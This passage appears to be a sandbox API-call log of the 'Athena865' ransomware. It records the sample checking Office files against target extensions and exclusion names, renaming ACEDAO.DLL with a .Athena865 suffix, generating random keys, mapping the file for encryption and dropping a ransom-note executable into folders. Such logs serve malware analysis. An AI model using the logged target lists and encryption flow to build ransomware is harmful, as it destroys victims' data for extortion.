(lpString="rodx") returned 4 [0066.741] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0066.741] lstrlenW (lpString="rpd") returned 3 [0066.741] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0066.741] lstrlenW (lpString="rsd") returned 3 [0066.742] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0066.742] lstrlenW (lpString="sas7bdat") returned 8 [0066.742] lstrcmpiW (lpString1="EDAO.DLL", lpString2="sas7bdat") returned -1 [0066.742] lstrlenW (lpString="sbf") returned 3 [0066.742] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0066.742] lstrlenW (lpString="scx") returned 3 [0066.742] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0066.742] lstrlenW (lpString="sdb") returned 3 [0066.742] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0066.742] lstrlenW (lpString="sdc") returned 3 [0066.742] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0066.742] lstrlenW (lpString="sdf") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0066.743] lstrlenW (lpString="sis") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0066.743] lstrlenW (lpString="spq") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0066.743] lstrlenW (lpString="te") returned 2 [0066.743] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0066.743] lstrlenW (lpString="teacher") returned 7 [0066.743] lstrcmpiW (lpString1="DAO.DLL", lpString2="teacher") returned -1 [0066.743] lstrlenW (lpString="tmd") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0066.743] lstrlenW (lpString="tps") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0066.743] lstrlenW (lpString="trc") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.743] lstrlenW (lpString="trc") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.743] lstrlenW (lpString="trm") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0066.743] lstrlenW (lpString="udb") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0066.743] lstrlenW (lpString="udl") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0066.743] lstrlenW (lpString="usr") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0066.743] lstrlenW (lpString="v12") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0066.743] lstrlenW (lpString="vis") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0066.743] lstrlenW (lpString="vpd") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0066.743] lstrlenW (lpString="vvv") returned 3 [0066.743] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0066.744] lstrlenW (lpString="wdb") returned 3 [0066.744] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0066.744] lstrlenW (lpString="wmdb") returned 4 [0066.744] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0066.744] lstrlenW (lpString="wrk") returned 3 [0066.744] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0066.744] lstrlenW (lpString="xdb") returned 3 [0066.744] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0066.744] lstrlenW (lpString="xld") returned 3 [0066.744] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0066.744] lstrlenW (lpString="xmlff") returned 5 [0066.744] lstrcmpiW (lpString1="O.DLL", lpString2="xmlff") returned -1 [0066.744] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.Athena865") returned 63 [0066.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.athena865"), dwFlags=0x1) returned 1 [0066.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.745] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=744888) returned 1 [0066.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.745] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.746] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.746] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.746] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb60c0, lpName=0x0) returned 0x17c [0066.748] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb60c0) returned 0x2d50000 [0066.780] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.780] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.780] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0066.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.781] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.788] CloseHandle (hObject=0x17c) returned 1 [0066.788] CloseHandle (hObject=0x154) returned 1 [0066.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.791] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2=".") returned 1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="..") returned 1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="windows") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="bootmgr") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="temp") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="pagefile.sys") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="boot") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="ids.txt") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="ntuser.dat") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="perflogs") returned -1 [0066.791] lstrcmpiW (lpString1="ADDINS", lpString2="MSBuild") returned -1 [0066.791] lstrlenW (lpString="ADDINS") returned 6 [0066.791] lstrcpyW (in: lpString1=0x241e89e, lpString2="ADDINS" | out: lpString1="ADDINS") returned="ADDINS" [0066.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdf8 [0066.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x539e00 [0066.792] lstrcatW (in: lpString1="ADDINS", lpString2="\\" | out: lpString1="ADDINS\\") returned="ADDINS\\" [0066.792] lstrcatW (in: lpString1="ADDINS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ADDINS\\HOW TO BACK YOUR FILES.exe") returned="ADDINS\\HOW TO BACK YOUR FILES.exe" [0066.792] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.796] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".") returned 1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="..") returned 1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="windows") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="bootmgr") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="temp") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="pagefile.sys") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="boot") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="ids.txt") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="ntuser.dat") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="perflogs") returned -1 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2="MSBuild") returned -1 [0066.796] lstrlenW (lpString="ADVCMP.DIC") returned 10 [0066.796] lstrcpyW (in: lpString1=0x241e89e, lpString2="ADVCMP.DIC" | out: lpString1="ADVCMP.DIC") returned="ADVCMP.DIC" [0066.796] lstrlenW (lpString="ADVCMP.DIC") returned 10 [0066.796] lstrlenW (lpString="Athena865") returned 9 [0066.796] lstrcmpiW (lpString1="DVCMP.DIC", lpString2="Athena865") returned 1 [0066.796] lstrlenW (lpString=".dll") returned 4 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".dll") returned 1 [0066.796] lstrlenW (lpString=".lnk") returned 4 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".lnk") returned 1 [0066.796] lstrlenW (lpString=".ini") returned 4 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".ini") returned 1 [0066.796] lstrlenW (lpString=".sys") returned 4 [0066.796] lstrcmpiW (lpString1="ADVCMP.DIC", lpString2=".sys") returned 1 [0066.797] lstrlenW (lpString="ADVCMP.DIC") returned 10 [0066.797] lstrlenW (lpString="bak") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="bak") returned 1 [0066.797] lstrlenW (lpString="ba_") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="ba_") returned 1 [0066.797] lstrlenW (lpString="dbb") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="dbb") returned 1 [0066.797] lstrlenW (lpString="vmdk") returned 4 [0066.797] lstrcmpiW (lpString1=".DIC", lpString2="vmdk") returned -1 [0066.797] lstrlenW (lpString="rar") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="rar") returned -1 [0066.797] lstrlenW (lpString="zip") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="zip") returned -1 [0066.797] lstrlenW (lpString="tgz") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="tgz") returned -1 [0066.797] lstrlenW (lpString="vbox") returned 4 [0066.797] lstrcmpiW (lpString1=".DIC", lpString2="vbox") returned -1 [0066.797] lstrlenW (lpString="vdi") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="vdi") returned -1 [0066.797] lstrlenW (lpString="vhd") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="vhd") returned -1 [0066.797] lstrlenW (lpString="vhdx") returned 4 [0066.797] lstrcmpiW (lpString1=".DIC", lpString2="vhdx") returned -1 [0066.797] lstrlenW (lpString="avhd") returned 4 [0066.797] lstrcmpiW (lpString1=".DIC", lpString2="avhd") returned -1 [0066.797] lstrlenW (lpString="db") returned 2 [0066.797] lstrcmpiW (lpString1="IC", lpString2="db") returned 1 [0066.797] lstrlenW (lpString="db2") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="db2") returned 1 [0066.797] lstrlenW (lpString="db3") returned 3 [0066.797] lstrcmpiW (lpString1="DIC", lpString2="db3") returned 1 [0066.797] lstrlenW (lpString="dbf") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="dbf") returned 1 [0066.798] lstrlenW (lpString="mdf") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="mdf") returned -1 [0066.798] lstrlenW (lpString="mdb") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="mdb") returned -1 [0066.798] lstrlenW (lpString="sql") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="sql") returned -1 [0066.798] lstrlenW (lpString="sqlite") returned 6 [0066.798] lstrcmpiW (lpString1="MP.DIC", lpString2="sqlite") returned -1 [0066.798] lstrlenW (lpString="sqlite3") returned 7 [0066.798] lstrcmpiW (lpString1="CMP.DIC", lpString2="sqlite3") returned -1 [0066.798] lstrlenW (lpString="sqlitedb") returned 8 [0066.798] lstrcmpiW (lpString1="VCMP.DIC", lpString2="sqlitedb") returned 1 [0066.798] lstrlenW (lpString="xml") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="xml") returned -1 [0066.798] lstrlenW (lpString="$er") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="$er") returned 1 [0066.798] lstrlenW (lpString="4dd") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="4dd") returned 1 [0066.798] lstrlenW (lpString="4dl") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="4dl") returned 1 [0066.798] lstrlenW (lpString="^^^") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="^^^") returned 1 [0066.798] lstrlenW (lpString="abs") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="abs") returned 1 [0066.798] lstrlenW (lpString="abx") returned 3 [0066.798] lstrcmpiW (lpString1="DIC", lpString2="abx") returned 1 [0066.798] lstrlenW (lpString="accdb") returned 5 [0066.798] lstrcmpiW (lpString1="P.DIC", lpString2="accdb") returned 1 [0066.798] lstrlenW (lpString="accdc") returned 5 [0066.798] lstrcmpiW (lpString1="P.DIC", lpString2="accdc") returned 1 [0066.798] lstrlenW (lpString="accde") returned 5 [0066.799] lstrcmpiW (lpString1="P.DIC", lpString2="accde") returned 1 [0066.799] lstrlenW (lpString="accdr") returned 5 [0066.799] lstrcmpiW (lpString1="P.DIC", lpString2="accdr") returned 1 [0066.799] lstrlenW (lpString="accdt") returned 5 [0066.799] lstrcmpiW (lpString1="P.DIC", lpString2="accdt") returned 1 [0066.799] lstrlenW (lpString="accdw") returned 5 [0066.799] lstrcmpiW (lpString1="P.DIC", lpString2="accdw") returned 1 [0066.799] lstrlenW (lpString="accft") returned 5 [0066.799] lstrcmpiW (lpString1="P.DIC", lpString2="accft") returned 1 [0066.799] lstrlenW (lpString="adb") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="adb") returned 1 [0066.799] lstrlenW (lpString="adb") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="adb") returned 1 [0066.799] lstrlenW (lpString="ade") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="ade") returned 1 [0066.799] lstrlenW (lpString="adf") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="adf") returned 1 [0066.799] lstrlenW (lpString="adn") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="adn") returned 1 [0066.799] lstrlenW (lpString="adp") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="adp") returned 1 [0066.799] lstrlenW (lpString="alf") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="alf") returned 1 [0066.799] lstrlenW (lpString="ask") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="ask") returned 1 [0066.799] lstrlenW (lpString="btr") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="btr") returned 1 [0066.799] lstrlenW (lpString="cat") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="cat") returned 1 [0066.799] lstrlenW (lpString="cdb") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="cdb") returned 1 [0066.799] lstrlenW (lpString="ckp") returned 3 [0066.799] lstrcmpiW (lpString1="DIC", lpString2="ckp") returned 1 [0066.800] lstrlenW (lpString="cma") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="cma") returned 1 [0066.800] lstrlenW (lpString="cpd") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="cpd") returned 1 [0066.800] lstrlenW (lpString="dacpac") returned 6 [0066.800] lstrcmpiW (lpString1="MP.DIC", lpString2="dacpac") returned 1 [0066.800] lstrlenW (lpString="dad") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dad") returned 1 [0066.800] lstrlenW (lpString="dadiagrams") returned 10 [0066.800] lstrlenW (lpString="daschema") returned 8 [0066.800] lstrcmpiW (lpString1="VCMP.DIC", lpString2="daschema") returned 1 [0066.800] lstrlenW (lpString="db-journal") returned 10 [0066.800] lstrlenW (lpString="db-shm") returned 6 [0066.800] lstrcmpiW (lpString1="MP.DIC", lpString2="db-shm") returned 1 [0066.800] lstrlenW (lpString="db-wal") returned 6 [0066.800] lstrcmpiW (lpString1="MP.DIC", lpString2="db-wal") returned 1 [0066.800] lstrlenW (lpString="dbc") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dbc") returned 1 [0066.800] lstrlenW (lpString="dbs") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dbs") returned 1 [0066.800] lstrlenW (lpString="dbt") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dbt") returned 1 [0066.800] lstrlenW (lpString="dbv") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dbv") returned 1 [0066.800] lstrlenW (lpString="dbx") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dbx") returned 1 [0066.800] lstrlenW (lpString="dcb") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dcb") returned 1 [0066.800] lstrlenW (lpString="dct") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dct") returned 1 [0066.800] lstrlenW (lpString="dcx") returned 3 [0066.800] lstrcmpiW (lpString1="DIC", lpString2="dcx") returned 1 [0066.801] lstrlenW (lpString="ddl") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="ddl") returned 1 [0066.801] lstrlenW (lpString="dlis") returned 4 [0066.801] lstrcmpiW (lpString1=".DIC", lpString2="dlis") returned -1 [0066.801] lstrlenW (lpString="dp1") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="dp1") returned -1 [0066.801] lstrlenW (lpString="dqy") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="dqy") returned -1 [0066.801] lstrlenW (lpString="dsk") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="dsk") returned -1 [0066.801] lstrlenW (lpString="dsn") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="dsn") returned -1 [0066.801] lstrlenW (lpString="dtsx") returned 4 [0066.801] lstrcmpiW (lpString1=".DIC", lpString2="dtsx") returned -1 [0066.801] lstrlenW (lpString="dxl") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="dxl") returned -1 [0066.801] lstrlenW (lpString="eco") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="eco") returned -1 [0066.801] lstrlenW (lpString="ecx") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="ecx") returned -1 [0066.801] lstrlenW (lpString="edb") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="edb") returned -1 [0066.801] lstrlenW (lpString="epim") returned 4 [0066.801] lstrcmpiW (lpString1=".DIC", lpString2="epim") returned -1 [0066.801] lstrlenW (lpString="fcd") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="fcd") returned -1 [0066.801] lstrlenW (lpString="fdb") returned 3 [0066.801] lstrcmpiW (lpString1="DIC", lpString2="fdb") returned -1 [0066.801] lstrlenW (lpString="fic") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fic") returned -1 [0066.802] lstrlenW (lpString="flexolibrary") returned 12 [0066.802] lstrlenW (lpString="fm5") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fm5") returned -1 [0066.802] lstrlenW (lpString="fmp") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fmp") returned -1 [0066.802] lstrlenW (lpString="fmp12") returned 5 [0066.802] lstrcmpiW (lpString1="P.DIC", lpString2="fmp12") returned 1 [0066.802] lstrlenW (lpString="fmpsl") returned 5 [0066.802] lstrcmpiW (lpString1="P.DIC", lpString2="fmpsl") returned 1 [0066.802] lstrlenW (lpString="fol") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fol") returned -1 [0066.802] lstrlenW (lpString="fp3") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fp3") returned -1 [0066.802] lstrlenW (lpString="fp4") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fp4") returned -1 [0066.802] lstrlenW (lpString="fp5") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fp5") returned -1 [0066.802] lstrlenW (lpString="fp7") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fp7") returned -1 [0066.802] lstrlenW (lpString="fpt") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="fpt") returned -1 [0066.802] lstrlenW (lpString="frm") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="frm") returned -1 [0066.802] lstrlenW (lpString="gdb") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="gdb") returned -1 [0066.802] lstrlenW (lpString="gdb") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="gdb") returned -1 [0066.802] lstrlenW (lpString="grdb") returned 4 [0066.802] lstrcmpiW (lpString1=".DIC", lpString2="grdb") returned -1 [0066.802] lstrlenW (lpString="gwi") returned 3 [0066.802] lstrcmpiW (lpString1="DIC", lpString2="gwi") returned -1 [0066.803] lstrlenW (lpString="hdb") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="hdb") returned -1 [0066.803] lstrlenW (lpString="his") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="his") returned -1 [0066.803] lstrlenW (lpString="ib") returned 2 [0066.803] lstrcmpiW (lpString1="IC", lpString2="ib") returned 1 [0066.803] lstrlenW (lpString="idb") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="idb") returned -1 [0066.803] lstrlenW (lpString="ihx") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="ihx") returned -1 [0066.803] lstrlenW (lpString="itdb") returned 4 [0066.803] lstrcmpiW (lpString1=".DIC", lpString2="itdb") returned -1 [0066.803] lstrlenW (lpString="itw") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="itw") returned -1 [0066.803] lstrlenW (lpString="jet") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="jet") returned -1 [0066.803] lstrlenW (lpString="jtx") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="jtx") returned -1 [0066.803] lstrlenW (lpString="kdb") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="kdb") returned -1 [0066.803] lstrlenW (lpString="kexi") returned 4 [0066.803] lstrcmpiW (lpString1=".DIC", lpString2="kexi") returned -1 [0066.803] lstrlenW (lpString="kexic") returned 5 [0066.803] lstrcmpiW (lpString1="P.DIC", lpString2="kexic") returned 1 [0066.803] lstrlenW (lpString="kexis") returned 5 [0066.803] lstrcmpiW (lpString1="P.DIC", lpString2="kexis") returned 1 [0066.803] lstrlenW (lpString="lgc") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="lgc") returned -1 [0066.803] lstrlenW (lpString="lwx") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="lwx") returned -1 [0066.803] lstrlenW (lpString="maf") returned 3 [0066.803] lstrcmpiW (lpString1="DIC", lpString2="maf") returned -1 [0066.803] lstrlenW (lpString="maq") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="maq") returned -1 [0066.804] lstrlenW (lpString="mar") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mar") returned -1 [0066.804] lstrlenW (lpString="marshal") returned 7 [0066.804] lstrcmpiW (lpString1="CMP.DIC", lpString2="marshal") returned -1 [0066.804] lstrlenW (lpString="mas") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mas") returned -1 [0066.804] lstrlenW (lpString="mav") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mav") returned -1 [0066.804] lstrlenW (lpString="maw") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="maw") returned -1 [0066.804] lstrlenW (lpString="mdbhtml") returned 7 [0066.804] lstrcmpiW (lpString1="CMP.DIC", lpString2="mdbhtml") returned -1 [0066.804] lstrlenW (lpString="mdn") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mdn") returned -1 [0066.804] lstrlenW (lpString="mdt") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mdt") returned -1 [0066.804] lstrlenW (lpString="mfd") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mfd") returned -1 [0066.804] lstrlenW (lpString="mpd") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mpd") returned -1 [0066.804] lstrlenW (lpString="mrg") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", lpString2="mrg") returned -1 [0066.804] lstrlenW (lpString="mud") returned 3 [0066.804] lstrcmpiW (lpString1="DIC", 